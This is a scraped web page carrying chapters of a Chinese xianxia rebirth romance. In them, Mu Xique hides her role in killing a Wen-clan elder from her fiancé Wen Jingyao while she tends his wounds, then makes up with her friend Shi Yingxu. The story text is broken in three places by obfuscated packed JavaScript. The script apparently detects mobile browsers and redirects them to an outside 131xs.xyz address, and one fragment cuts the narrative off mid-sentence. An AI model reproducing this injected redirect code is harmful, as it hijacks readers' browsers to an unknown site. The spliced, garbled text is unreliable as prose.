慕夕阙从小就爱打架,奈何战力太凶悍,除却那些长老,弟子们无人敢跟她打,唯独一个闻惊遥不怕,慕二小姐说打架,闻大少爷下一刻就板着脸拔剑。 有几次闻惊遥受了伤,担心朝蕴提着棍子揍她,两小只总会找个没人的地方,慕夕阙偷偷摸摸给他疗伤,伤好了自家阿娘就不会揍她了。 但那都是十岁前的事情了,如今他们十七岁了,已经从小萝卜头长到可以独当一面了。 在清心观那十年也不是没吃过皮肉苦,闻惊遥并不觉得这伤有需要她出手的地步,左右他自己回去也能疗伤,可如今对上她的眼睛,她皱着眉好似要生气了。 他最怕慕夕阙生气,因为她会好几日都不理他。 “……嗯。”闻惊遥松手,偏过头。 慕夕阙动作麻溜,扯开他的腰封,将外衫连带内衫扒开。 十七岁的少年身量抽条般猛长,宽肩窄腰,肌理分明,半褪的青衫和雪白里衣层叠堆下,他微微偏头,高束的马尾有些搭在肩上,腰背笔直,坐如青松。 慕夕阙将他红透的耳根尽收眼底,并未出声点破,她站在他身前,微微弯腰,只用布帛松松束起的黑发垂下两缕,在两人之间摇摇晃晃。 柔软的指腹触碰上肩头狰狞的伤,慕夕阙来回摸了摸,掌心贴在伤痕处,蕴出灵力替他止血,这是个漫长且细致的活儿,她索性站直身子按住他的肩膀。 “怎么伤的?” 闻惊遥没动,眸子半垂,说道:“今夜城外玉灵有异,二叔被害,另有十几具死士尸身,我赶过去时凶手还未离开,我们过了招。” “你二叔,闻时烨?” “嗯。” “还有呢?”慕夕阙瞥了眼他肩头的伤。 闻惊遥喉口滚了滚,沉声说道:“那是个女子,修为很高,我们境界兴许只有毫末之差,但她的打斗经验高于我。” 少年抬眸与慕夕阙对视,神色依旧平静,即使被重伤也未有半分异样,只盯着慕夕阙道:“世家子弟接受系统训教,体式有律可寻,即使是散修也总会有自己擅长的一脉,擅体能,擅刀,擅剑,擅阵,可她不一样,她似乎什么都学了。” 慕夕阙眼神慢慢冷下。 “她行快剑,剑招迅捷熟练,但又擅长用匕首这类短刃,还会阵术。” 慕夕阙懒懒道:“兴许是个天才,什么都会呢。” “这世间能人辈出,她自然是天才,若一心向道还好。”闻惊遥并不吝啬夸奖,话锋一转,“但她杀心太重,那十几具尸身都是一剑封喉,我与她交手之时也能觉察出她的戾气,她的杀招像是长年累月练出来的。” 可修道之人,忌造杀业。 闻惊遥沉沉看她:“她的招式我在海外仙岛的书卷上见到过。” 慕夕阙按在他肩头的手重了几分,对上少年安静漆黑的眼眸,她端着笑问他:“你怀疑她是海外仙岛的人?十三州和仙岛之间隔了个祭墟呢。” 闻惊遥偏头看向她按在肩头的手,沉声道:“不一定,但她应当去过海外仙岛,有些招式像。” 慕夕阙倒实在没想到闻惊遥这般博学广知,她没说话,垂眼遮住眸底晦涩,掌心运转灵力将他肩头汩汩流出的血消去。 头一回庆幸,还好她前世为了尽快修炼什么都学一把,愣是将自己一手的慕家剑法与那些功法融合,打成了自成一派的慕二独学。 闻惊遥和她切磋过不下百次,都没认出来她的招式,可见她那些年学下来的东西多杂,连他都看不出这是什么打法,加之她今夜过招之时还有意掩去慕家功法。 “那你要如何办?”慕夕阙头也不抬地问。 闻惊遥回道:“尸身都已带回,闻家会派人勘验,结界玉灵防御阵已全数打开,她逃不出城。” 还不等慕夕阙开口,他又说:“我觉得她今夜此举,不止寻仇。” 慕夕阙神态从容:“为何这般说?” “她应当知晓近两日戒备森严,这种关头闻家长老遇害,搜查力度也会加大,她也不能保证全身而退。” 闻惊遥看着她,目光沉沉:“可我与她交手,她不像是冲动易怒之人,明明可以等宴席结束再动手,脱身概率也会更大,她偏要今晚杀人。” 后续的话他没说,慕夕阙淡声接话:“她有不得不在今夜动手的理由。” 闻惊遥颔首:“嗯。” 慕夕阙今晚瞧见来者是闻惊遥后便猜到,以他心细如发的性子定是能觉察出不对劲的地方,但没想到仅仅只是交了个手,她甚至为了避免暴露不敢恋战,他也愣是能从那不到一刻钟的对打顺藤摸瓜想到这般多。 她没说话,这种时候说多错多。 慕夕阙低头替他止住血,抬手取出个瓷瓶,剜出药膏后按上他的伤,冰凉的药膏涂抹上身,闻惊遥搭在膝上的手蓦地攥紧。 她瞥了眼,闻惊遥的手生得好看,骨节分明,紧攥之时手背上青筋遒劲,掌心处有道深邃的伤。 慕夕阙沿着那双手往上看,落在他壁垒分明的腰腹,笔直腰杆上缠了几圈白布,此刻那洁净纱布上也微微透出血色。 “你腰上的旧伤也裂了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394900|184069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“……不碍事。”闻惊遥拉过堆在腰间的白色里衣,遮住腰腹位置,“我自己处理便可。” 慕夕阙抬起一根手指点了点他捂腰的手背:“拿开,我看看。” 闻惊遥默了默,没阻拦,将手拿开。 慕夕阙拆开染血的绷带,推了他一把,闻惊遥不做防备,胳膊肘后撑在榻上。 刚一抬头,她朝前倾来,单膝抵上竹榻,弯腰俯身去看他腰上的伤,顺带将那价值万金的金疮药涂上,从始至终目光沉静,动作算不上温柔,却能一下下挠得人心痒。 闻惊遥错开眼,只想好好去清心观里念百遍清心经,怕是近来忽略心法导致心境不稳,否则为何他觉得浑身滚烫,她明明好心好意为他上药,他却满脑子想些乱七八糟的。 她很轻,在他身上几乎没重量,他又忽然有种念头,会不会起了一阵风,她就飘走了。 “在想什么?” 正晃神,有人戳了戳他的脸。 闻惊遥自打三岁能拿得起剑后,就一副老成模样,这天下便是他爹娘都没再摸过他的脑袋,谁见了他都得恭恭敬敬喊一声闻大少爷或闻少主,唯独慕二小姐敢戳他的脸,偷偷将他的马尾辫成麻花辫。 但那都是婚事没公布前的事情,之后她得知了婚约再不曾对他这般亲昵。 见他不搭话,慕夕阙又戳了戳他的脸:“你在想什么?” 闻惊遥别过头猛地咳嗽起来,他捂住嘴,随着咳嗽马尾一抖一抖。 慕夕阙皱眉,抬手给他顺气:“你再咳,刚包好的伤口又要裂了。” 闻惊遥喉结上下滚动,终于将那股险些呛死他的气顺出来,他想坐直,但身上压了个大小姐,只能就着狼狈的姿势撑住两人的重量。 “无事,方才有些呛气。” 慕夕阙目不转睛盯着他看,闻惊遥本就脸皮薄,又赤着上半身,在喜欢的姑娘面前束手无策,只能好声好气商量:“夕阙,你先下来。” 她却动也不动,让他坐也不是,躺也不成。 “夕阙。” “闻惊遥。” 两人同时开口。 慕夕阙毫无承让的觉悟,凑近了些,直视他的双目:“你刚刚在想什么?” 闻惊遥没吭声,缄默不语。 “在想我?”慕夕阙直接说。 闻惊遥张了张唇,哑口无言,她总是这般直爽,从不弯弯绕绕。 慕夕阙盯着他,一双漂亮的眼睛好像能摄魂夺魄,又戳戳他的脸颊,说道:“想我什么呢,说啊?” 闻惊遥不吭声,她就又戳一下,见他还不说,换了个手戳另一侧脸,幼稚又倔强地边戳边问:“说啊说啊说啊。” 终于看他连带着脖颈都红透了,她才罢休,朗声笑出来:“算了,不说就不说。” 慕夕阙刚要撑着身子从他身上下来,手腕却被人扣住,微凉的掌心是与她截然不同的温度,她垂眸看去,姿容清俊的少年正安静专注看着她。 “方才确实在想你。” “想我什么?” “在想你好轻,会不会飘走?” 这都想得什么乱七八糟的,慕夕阙没忍住,皱了皱眉:“我怎么会飘走?” “嗯,不会的。”闻惊遥握住她搭在肩头的手,他就着这个姿势直起身,慕夕阙猝不及防,没稳住一个后仰险些跌下去,后腰却按上一只手。 他轻轻用力,将她推了回来,由于惯力,她直接坐在了他的腿上。 慕夕阙瞬间反应过来,起身下榻,却又忘了手腕还在闻惊遥掌心中,他握住,制止了她离开的心。 她低头去看,闻惊遥仰起头,视线瞥了眼慕夕阙细长的脖颈,在某处停顿了片刻,随后透亮的眼眸与她对视,毫不躲闪。 “不论你在何处,我都会抓住你,不会让你飘走的。” 虚拢的掌心被摊开,放上了一袋带有热气的糖蒸板栗。 8.第 8 章 慕夕阙幼时爱吃糖蒸板栗,闻惊遥去淞溪时也常为她带。 她微微歪头,未施粉黛的脸皙白,耳垂上悬挂的鎏金璎珞微微摇晃,在侧脸上打出一道朦胧绰约的金光。 慕夕阙将板栗收下,抬腕执起他的手,指腹轻轻落在他的掌心,隔着一层白布,触碰他早已不疼的伤。 那双拿惯了剑的手向来沉稳,此刻却也抖了抖,闻家便是道侣间也多是相敬如宾,鲜少有见形影相怜、亲密无间的。 慕夕阙轻触他掌心的伤:“疼吗?” “不疼。”闻惊遥说。 慕夕阙不信:“骗人,怎么能不疼呢?” 闻惊遥解释:“没有骗你,这伤不算什么。” 她点了点头:“那就好。” 这点皮肉伤于他而言大抵是家常便饭,习惯了,也不觉得有什么,只要能抓到人便可。 慕夕阙一直觉得,她与闻惊遥其实是有些相似的,两人身上都有股不要命的狠劲儿。 不同的是闻少主那种戾气藏于心底,他行事循规蹈矩,约束过多,十三州只知他话少寡淡但心性纯善,至于那点埋藏于心的自毁欲,或许他自己也未曾察觉,说不定哪天便悄无声息爆发了。 “板栗我收下了,你回去好好疗伤。”慕夕阙松开他的手。 闻惊遥默不作声将衣裳穿好,腰封系上,起身看着她,不说话也不离开。 如今已经亥时三刻了,他应当离开,过去他是绝不会在她的住处留到这般晚。 慕夕阙并不拐弯抹角,直接问他:“有话想说啊,想说什么?” 闻惊遥垂眸,目光落在她的后颈处,金色交领长衫松松垮垮,露出一截细长的脖颈。 “夕阙,你后颈有伤吗?” 若非前世经了大风大浪,已习惯戴上假面伪装掩饰,慕夕阙怕也会撑不住自己脸上这虚伪的笑。 “是吗?”她抬手摸摸后颈,神情无异,将披散的发拨到身前,转身将后颈露在他面前,大大方方道:“那浴桶是琉姜木,我方才沐浴之时便觉刺痛,总觉哪里粗糙不平,是不是磨破了?” 她的后颈处一截突出的脊骨往下,泛着血丝的擦伤红痕隐约可见,被领口几乎全部遮掩,但他眼力过人,无意一瞥便瞧见了。 她脖颈后的伤格外显眼,闻惊遥无暇顾及其它,眉头微拧,抬手轻触伤痕周围,蕴出冰凉的灵力。 “是伤到了,抱歉,琉姜木较为坚硬也不渗水,温润无杂,于经脉有益,我不知你不喜欢。” 东浔家家户户都用这木材,闻惊遥寻的还是千年才长成的臻品,不知慕夕阙在淞溪用的是什么材质,但知晓她自小吃穿用度都是顶好的,这在他们看来已是上品的东西,对她来说兴许真的是委屈了。 慕夕阙满不在乎道:“无事,我上些药便好了。” 闻惊遥按住她的肩:“我帮你疗伤。” 慕夕阙道:“嗯,多谢。” 鬓边散落的长发遮住了她的脸,慕夕阙盯着地面上倒映出的人影,就连光影都偏爱他几分,身影颀长,高束的马尾独有少年意气,沁凉的灵力自他的掌心蕴出,贴着她后颈的伤替她平息那根本不算什么的疼痛。 约莫过了一刻钟,闻惊遥的弟子玉牌闪了闪,那是闻家通讯联络用的,若闪三道白光便是弟子来信,三道青光便是闻家长老一辈的人。 此刻那玉牌闪青光。 慕夕阙率先开口:“闻家长老传你,应当是为今夜之事,我的伤本就不严重,好得差不多了,你去忙你的,我们改日闲暇再见。” 闻惊遥停顿了瞬,随后开口:“好,有事唤我。” 他将一个玲珑小巧的白玉瓷瓶递过来:“这是化瘀丹,对疗伤有益,我明日来看你。” 慕夕阙接过:“嗯。” 目送他离开,画墨阁的合页大门关上,慕夕阙转身回屋,拨开珠帘去到休憩的内厅,靠窗的地方搁了闻惊遥今早差人送来的妆奁,圆镜清透,她侧身半褪外衫,冷眼瞧着镜中。 两侧肩胛骨上尚有些擦伤,一路向下蔓延至腰上一掌宽处,而身前肩头的位置,已然淤紫大片,密林中闻惊遥那一掌可丝毫没留手,震碎了她十几根经脉。 且高境修士力道极大,纵使慕夕阙用了灵力抵御,被他生生砸在粗糙树干上,后颈和脊背仍是被撞出了淤血,她的肋骨似乎也半碎了一根,骨伤倒是不严重,她自己便能用灵力接好。 严重的是碎掉的经脉,要一根根接上。 而她知晓那阵法困不住闻惊遥多久,片刻不敢停歇直往闻家赶,时间急促,只来得及作出沐浴假象洗去身上血气。 出了这么大的事,闻惊遥既不和弟子一同收尸,也不全力追凶,顶着一身的伤回来直奔她这里,怕是起了疑心。 慕夕阙拉上外衫,倒了颗化瘀丹咽下,白玉瓷瓶应是闻惊遥随身携带之物,瓶身沾了他的灵气,一直握着也不见变暖,总有股丝缕的寒凉之意。 一直坐到丑时左右,腰间玉牌嗡嗡两声,慕夕阙动了动,接通。 “你留讯了?我方才在忙。” 是蔺九尘的声音,略有些疲惫,但声线依旧洪亮有力。 “你在何处?” “今日帮师娘办了些事,你若有事我现在去找你。” “不必。”慕夕阙打断他,“你声音有些虚弱,可有受伤?” “无事,放心。”那端的蔺九尘笑了,笑声清洌。 蔺九尘应当在赶回闻家的路上,没被闻家弟子抓到,那便证明他在闻家弟子满城搜查前便已经带徐无咎破了阵。 慕夕阙应道:“嗯,好,你若无事我便休息了。” 那边回了几句便切断了玉牌,偌大画墨阁再次归于寂然。 一旦入夜,闻家弟子们便噤声行事,而慕家没有所谓的宵禁,晚上也是热热闹闹的。 慕夕阙倚靠着妆奁台,单手托脸,透过未关的窗可以瞧清楚整个前院,角落种了一株楹花树,如今尚不到开花时节,瞧着有些光秃秃的。 她屈起食指,有一搭没一搭轻扣木桌,闷重的敲击声像是和奏,这是她从小养出来的习惯,心里一装了事便无意识敲敲打打,总要听点声响。 闻惊遥会怀疑她也正常,他能觉察出来她的境界,如此年纪有这般修为的人不多,她恰好是那其中之一。 但她易了容,功法也有意遮掩,如今在不知实情的外人眼里,她与闻时烨点头之交,十来年只见过两三次,并不熟识,没动机要去杀人,闻惊遥这般聪明不会想不到这点。 更何况,这一世的她没去过海外仙岛,不擅刀,也不擅阵法,迄今为止只学了慕家剑法。 如今他似乎打消疑虑了,但恐怕也只是暂时。 - 闻惊遥到议事堂时,庄漪禾和闻承禺一左一右坐于主座,自下并分左右两排,二十四把椅子坐了二十二个人,皆不苟言笑,肃然危坐。 “父亲,母亲,长老们。”闻惊遥颔首行礼,门外守候的弟子关上议事堂的大门,这偌大屋内便只有上悬于墙的烛火照亮。 “坐吧。”一身云青道袍的闻承禺发须略白,模样却只是而立之年。 闻惊遥坐下。 闻时烨的尸身就在他几步远外,安安静静躺在临时摞起的竹床上,面目早已失去血色,变得苍白灰暗。 庄漪禾看向闻惊遥,沉声问:“惊遥,你是今夜唯一与凶手过招还活着的人,她修为如何?。” 闻惊遥道:“胜过我,境界与我相当,但打斗经验高于我,出手狠辣,招式像是海外仙岛来的。” “能将少主伤成这样。”又一位长老忍不住开口,浓密的眉死死皱着,“出手还如此果断,一击毙命,不留任何活命机会,难不成是海外仙岛的影杀一脉?” “……可为何要杀时烨,他性子素来温和,从未招惹过仇敌。” 话刚出口,方才说话的长老瞥见躺成一排的死士尸身,面色一僵,重重叹了口气。 不管其它门派私下如何,但闻家是禁养死士的,可闻时烨背着闻家养了死士,他一个鲜少掺和闻家事务之人,用处为何? 闻承禺始终看向沉默的少年,沉声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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从林径小道出来,视野便开阔了些,遥遥望去,整个闻家唯一点灯处便是画墨阁,入夜应熄灯就寝,但慕夕阙住的地方,闻惊遥提前便安顿好了,她不必按闻家家规行事,衣食起居、生活习性皆按在慕家那般。 “慕二忽然应下这桩婚事,怕并不是心悦你,更何况,她过去与赤敛燕家少主交好,若论交情你不如燕如珩。” 身侧来了个人。 闻惊遥缄默不语,只望向点了灯的画墨阁。 闻承禺也不生气,闻家亲缘淡薄,两人并不亲近,甚至鲜少见面,不过是家主和未来接班人的关系。 他问:“你就没什么想说的?” “我知道。”闻惊遥应了一声。 “对一个心不在自己身上的人,莫要倾注太多情意,祭墟动荡致使天罡篆异动,鹤阶要为其择主,你还有正事要做。” 闻承禺似乎只是路过与他说一句话,并未再言其它,交代完便离开。 东浔主城今夜暗潮涌动,唯独坐落在主宅深处的画墨阁浪静风恬,荧荧烛火呈现暖黄色,似乎能驱逐夜晚的寒凉。 闻惊遥垂眸,翻转掌心,另一块同心玉牌淬着剔透的光。 没有人比他更清楚慕夕阙对他的情意。 于她而言,他是年少相伴的竹马,算朋友,却不是能共度一生的人,那般恣意飒沓、骄傲热烈的女子,怎会喜欢他这般沉静寡言、规行矩步之人。 他们这些未来要继任家主的年轻一辈,彼此都有些交情,但慕夕阙与燕如珩交情要比他深,过去婚约未曾披露之时,多少人都猜燕、慕两家日后怕是要结亲。 可她却应了与闻家的婚事。 他规规矩矩、坦荡磊落地活了十七年,如今也想卑鄙自私一次,不问其心,全当不知,随她真心也好,利用也罢。 总之一年之后,她会嫁他为妻。 那是他会三媒六聘迎娶入门,此生唯一的妻,只会是他的妻。 9.第 9 章 昨夜一事闹得满城风雨。 慕夕阙坐在凉亭顶层,底下可见整个主宅,她端茶轻抿,冷眼看闻家弟子巡宅。 订婚宴在即,多少世家都会来随礼,连鹤阶也会派人前来,无论出了多大的事,宴席都不会轻易取消。 但经此一事,不仅主城巡视力度加大,连闻家主宅也是如此。 想必今日已经有不少宾客到了主城,闻时烨的事尚瞒着,百姓和来客也只当因宴席将至,闻家防患于未然。 这茶放了许久早已凉透,便会更加苦涩,慕夕阙喝了一杯便不欲再喝,将茶盏放下。 下一刻,一条缚绫如卷风过境般袭来。 “慕夕阙,我杀了你!” 话音刚落,缚绫速度极快,卷起八仙桌上的陶瓷茶壶朝端坐在一旁的慕夕阙砸去。 慕夕阙眼尾一抽,熟练起身歪头躲开。 茶壶被缚绫砸在墙上,随着崩裂声化为满地碎片,零零散散落在昂贵的白玉地砖上。 师盈虚冲进来,大小姐头上闪瞎人眼的金簪气得歪七扭八,指着慕夕阙宛如在看一个负心汉。 “说好的绝不答应这门婚事呢,我都替你拦了闻惊遥十几次,你倒好,不仅扭头应了人家,连订婚宴都办上了!我做梦都没想到这辈子能吃上慕二小姐的席!” 慕夕阙满腔的怒火还没来得及发,听了这话,用自己刚重生的大脑想了想百年前的事,总算明白师盈虚这般生气的原因。 师大小姐贯彻“别把青春插错秧,成婚哪有玩乐香”,奈何身边之人个个催婚,觉得这世间所有人都是俗人,直到遇到慕夕阙这个唯二的奇葩。 两位坚定的不婚主义一拍即合,奉行心中无男人,拔刀自然神,这些年慕夕阙帮师盈虚挡师家老两口,师盈虚帮慕夕阙拦朝蕴和闻惊遥。 慕夕阙罕见心虚:“你别急嘛,等我慢慢跟你说。” 师盈虚大步走上前,一拍桌子,连桌带茶盏碎了一地:“慕夕阙,你纯粹就是个混蛋!” 慕夕阙:“我——” 师盈虚:“重色轻友。” 慕夕阙:“我只是——” 师盈虚:“色令智昏。” 慕夕阙:“我只是因为——” 师盈虚:“辜恩背义。” 慕夕阙:“……” 慕夕阙不理解:“你不是个不学无术的纨绔吗?” 师盈虚:“?” 师盈虚又恼了:“同为纨绔,半斤八两,你还好意思说我!” 慕夕阙抬手一挥将满地碎屑收拾干净,坐上软榻拍了拍身侧:“好了好了,我错了,你之前想要慕家宝库里那根青玉笔是吧,我送你,别生气。” 师盈虚迟疑问:“……真的?” “真的。” 师大小姐的骨气全被自己抛了,一个滑步坐上软榻,揽住慕夕阙的胳膊:“那我原谅你了。” 慕夕阙笑了声,倚靠在榻上,听师盈虚还在小声嘟囔自己的不满,纵使闻惊遥在十三州有多渊清玉絜,万里挑一,她似乎总能挑出他的毛病。 “他话那般少,你俩成婚后一日能说几句,早好午好晚好?” “闻家家规那么多,闻惊遥这小古板长大了一定是个老古板。” “我跟你说,闻家几千年来可从来没有和离的例子,你到时想跑都跑不了,可别找我救你。” …… 慕夕阙听她絮絮叨叨说了一大摊子话,若前世她或许会没耐心。 可慕家出事后,她被燕家背叛,十几位元婴和化神境修士围杀她,撕出围杀重伤昏倒之时,也是师盈虚跳下悬崖寻到了她,背着她爬了几座山,一路上又哭又骂却从未放下她,托人将她平安送至海外仙岛。 师大小姐智力不详,修为不高,什么本事没有,坑人举世无双,但也最讲义气,到最后鹤阶要杀她之时都未放弃过她。 慕夕阙看师盈虚气鼓鼓诉说心里的不满,也未出口打断,一直到师盈虚骂得口干舌燥,伸手要水,她才动了动,从乾坤袋中取出茶水递去。 师盈虚喝了一口缓过来劲儿,又瞪她一眼:“你到底看上他什么了!” “嗯……”慕夕阙佯装思考,末了说道:“长得好,修为高。” 师盈虚:“……” 师大小姐握紧拳头。 可恶,无力反驳。 闻家少主姿容出众是整个十三州都认可的事,十七岁的元婴满境修士更是罕见。 “肤浅。”师盈虚骂了一声。 肤浅的慕二小姐笑了笑,与师盈虚挨着的腿撞了撞她,问道:“你来参加订婚宴?” 师盈虚白她一眼,胳膊肘后撑,懒散往后一靠:“废话,慕家和闻家联姻,十三州哪个家族敢不来?” “就你自己?” “我爹娘近来有些事,我也老长一段时日没见过他们了。”师盈虚仰头望天,想到什么,柳眉登时皱起,面露嫌弃,“来的路上碰见鹤阶的人了,为首几人瞧着面生,不像什么好东西。” 慕夕阙笑着说:“鹤阶眼线遍布十三州,不怕被听到?” 师盈虚假笑两声,指了指天:“这可是闻家。” 这是十三州兵力布防最森严的门派,家规严厉,嫉恶如仇,对滥权的鹤阶表面融洽和睦,实则打心眼里看不起,整个十三州几乎都知晓。 闻家不可能出叛徒,自然也难以安插眼线。 “对了,我还瞧见燕如珩了,他和他那胞弟一起来了。”师盈虚侧过身,单手托腮看慕夕阙,“你过去不是与燕如珩关系好嘛,他可比闻惊遥好相处多了,燕家人对你也不错。” 慕夕阙脸色寡淡了些,懒懒靠在软榻里侧,将外侧的位置空给师盈虚。 “慕二小姐,你跟燕如珩闹矛盾了吗?”师盈虚凑过来,嘻嘻笑了两声,“不过我看燕少主对你还是一如既往的好。” 慕夕阙看着她,在师盈虚期待的目光中,冷不丁甩了句:“盈虚,你少跟他接触。” 师盈虚眨了眨眼:“嗯?为什么?” “就当避嫌,毕竟我跟他闹成这样。”慕夕阙戳戳她的脑门,“困了,我睡一会儿,那里有果子,想吃自己去拿。” 师盈虚白她一眼:“睡吧睡吧,瞧着你这两天便是没休息好,脸色煞白的。” 慕夕阙没再说话,翻身背对她,撑起下颌趴在护栏上,今日日头不错,晒在脸上暖洋洋的,她眯了眯眼。 师盈虚以为她睡了,便也噤声,躺在她身侧,从乾坤袋里捞了个话本看。 慕夕阙并未睡,脸色冷淡。 燕如珩对她有多好? “好”到在背地将她逼到孤立无援的境地,在她去寻他帮忙找找长姐的下落之时,他端坐在院中,一身白衣纤尘不染,仰头看她,温声道:“小夕,天下没有白做的交易,我也并非分利不收的善人。” 那张清俊到宛如谪仙的面容,说出的话却是那般肮脏。 “你若是我的道侣,为你上刀山下火海都是我该做的,小夕,你知道我想要什么的,你如今的后路只有我了。” 世人都说燕如珩好,温润柔和,宛若璞玉。 可也是他将她送到绝境,只能跳崖保全性命。 他将长姐抓回带给鹤阶,逼她现身救人。 他冷眼旁观,看鹤阶斩了慕家玉灵,慕家阵法连破,一夜满门惨死,以为将她从高处拽下,折了她所有羽翼,便能将她握在手心,依附于他了。 他比闻惊遥更令人痛恨。 闻惊遥虽背叛了她,站在鹤阶那方,但不会假惺惺地背后捅刀,他做事向来光明磊落,对她好时是真心实意,想抓她时,也绝不会用下作法子暗中逼迫。 慕夕阙听着师盈虚在背后翻动书页的声音,这种窸窣声响消去了些回忆起前世的恨意,那些年让她看明白了,哪些是可以过命的朋友,哪些是她眼瞎错信的人。 她重活一世,该杀的人一个都不会放过。 慕夕阙压下心头情绪。 身着青白宗服的闻家弟子在远处来来回回,有规有矩,若想在十三州区分不同门派的弟子,闻家弟子是最好辨认的。 只管找站得最直,一身正气的便没错了。 林间小道上,有人从远处走来,身姿挺拔,纵使昨夜受了伤,换件衣裳掩去伤口,他依旧是风光霁月,如翠竹青松的闻家少主。 慕夕阙隔着不近不远的距离与闻惊遥对视,他仰头望着她,单手执剑,眉目温和,看不出有半分猜忌。 她懒洋洋动了动,托起下颌居高临下看他,金色华服仍旧张扬夺目,宽大的衣袖自手腕下滑,腕间挂了个青碧色的玉镯,漂亮的凤目微弯,似乎在笑。 慕夕阙看着他,心里想,如他这般追求大道,对十三州信守不渝的人,那颗心是不是都如石头一般硬? 登高望远,她瞧见的不仅是闻惊遥,还有他身后的闻家,这个在十三州眼中兵力强盛,守节不移的家族。 表面太平无事,枝繁叶茂,实则从根里早已腐朽,百孔千疮。 他当真不知吗? - 闻惊遥并未来她这里,他似乎有要事,只路过画墨阁时匆匆从楼下看了她一眼,接着便离开。 慕夕阙乐得自在,和师盈虚打了会儿竹叶牌,两人一起躺在软榻上闲聊,聊天南海北,聊秘辛八卦,什么都聊。 天稍微黑了些,师盈虚叹了口气,翻身坐起:“我就先走了,外客不能住在闻家,他们安排了客栈。” 慕夕阙也坐起来,理了理略微凌乱的衣襟:“确定不留下吃个饭?” 师盈虚拔腿就跑。 “闻家的饭就只放盐,本小姐饿死都不吃!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409275|184069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 慕夕阙看她跑开,师盈虚一走,画墨阁便安静了许多,略显冷清。 今日姜榆和蔺九尘都未来她这里,朝蕴也没传过信,她也能猜得出来是因着昨日之事。 去抓徐无咎是朝蕴差蔺九尘办的事,但徐无咎只是鹤阶用来引蔺九尘步入埋伏的棋子,如今两人死里逃生,应当也知晓昨夜闻家的事。 发生在同一晚,其中定然有牵扯,朝蕴和蔺九尘如今估摸在想办法藏起徐无咎,躲过闻家排查。 不来也正好,慕夕阙抬手揉捏脖颈,昨日打了那么一场架,她一整晚都没怎么休息。 她推开寝殿的门,抬脚走进,刚行至榻边准备解衣休息,搁在袖中的玉牌忽的闪了道光。 慕夕阙取出,抬手点了点,将玉牌搁在榻上,自顾自解腰封。 “夕阙,你在忙吗?”闻惊遥清冽的声音从玉牌中传来。 慕夕阙脱下外衣,语调淡淡:“准备休息,怎么了?” 玉牌那边的少年听见一阵窸窣声,像是衣物摩擦的声响,他顿了下,说道:“衣裳做好了,你要来试试吗,有哪里需要改动便直接提,绣娘们今晚便能改好。” 闻家请的绣娘是莲衣阁的,个个有一双妙手,且都有些修为,寻常绣娘需用几月制成的衣裳,莲衣阁的绣娘只需最多两日。 “不——”慕夕阙本想拒绝,答应这门婚事本就不是因心悦闻惊遥,只要订成婚便可,过程简陋或者精细都无所谓,衣裳做成什么样子她也不在乎。 只是话刚说了个头,她想了想,话锋一转:“你在何处?” “闻家正门。” 慕夕阙刚解开的内衫又系了回去:“等我会儿。” “好。”少年声音一如既往清柔。 慕夕阙切断玉牌,换好衣裳,将发髻重新挽了遍,余光瞥见榻上搁置的同心玉牌,她看了瞬,接着垂腕拾起系在腰间。 到主宅正门处,能明显觉出值守的弟子数量激增,昨日她溜出来时不过才四人,如今略略一数却有十余人。 “夕阙。”闻惊遥还是正午见时的那副穿着,青白宗服,但不同于寻常弟子,他的领口和肩头皆用银线绣了青竹纹路,润泽的白玉发冠将马尾高束。 “等久了吗?”慕夕阙朝他走去,步至他身前。 “无事。”自她出现,少年视线便胶着在她身上,温声问道:“颈后的擦伤可还好些?我已差人将那浴桶换掉,新的今晚便能到。” 他动作还挺快。 慕夕阙弯了弯眼,说道:“好多了,你给的化瘀丹很有用。” 她抬手牵住他的手,将他拽走:“先走吧,堵着门了。” 闻惊遥猝不及防被她牵住,慕夕阙常年练剑,指腹和掌心都有薄薄的剑茧,莫名的战栗从两人相牵的手一路上涌,直触心头。 两人身上皆有同心玉牌,带了闻家灵印,玉灵并未阻拦,等闻惊遥回神,慕夕阙已经牵着他走了甚远。 到无人处,慕夕阙停下来,扭头看他。 闻惊遥睫毛极长,半垂下来,将浅淡的瞳色遮住,他看着两人交握的手,慕夕阙握的是他的左手,还裹着止血的纱布。 他这会儿在走神,便是她拉着他跳崖估计都能成。 慕夕阙认真盯着他,如今才十七岁的闻惊遥虽老成稳重,却也多了丝纯情内敛,跟过去与她打了百年的十三州圣尊倒是判若两人。 “闻惊遥。“慕夕阙忽然凑近,“你过来些。” 闻惊遥恍然回神,不明所以,但还是听她的话站近了些,拉近两人的距离,彼此的气息混杂在一起,化为另一种全新的香。 “低头。”慕夕阙说。 闻惊遥薄唇微抿,站着没动。 慕夕阙又说了遍:“低头啊。” 这虽是催促,可她尾音略微上扬,偏生让他听出了些嗔意。 这次闻惊遥没当个犟种,他身子僵硬,呼吸好似也慢了下来,在她的催促下俯身,她的气息丝毫不加遮掩尽数涌入鼻息。 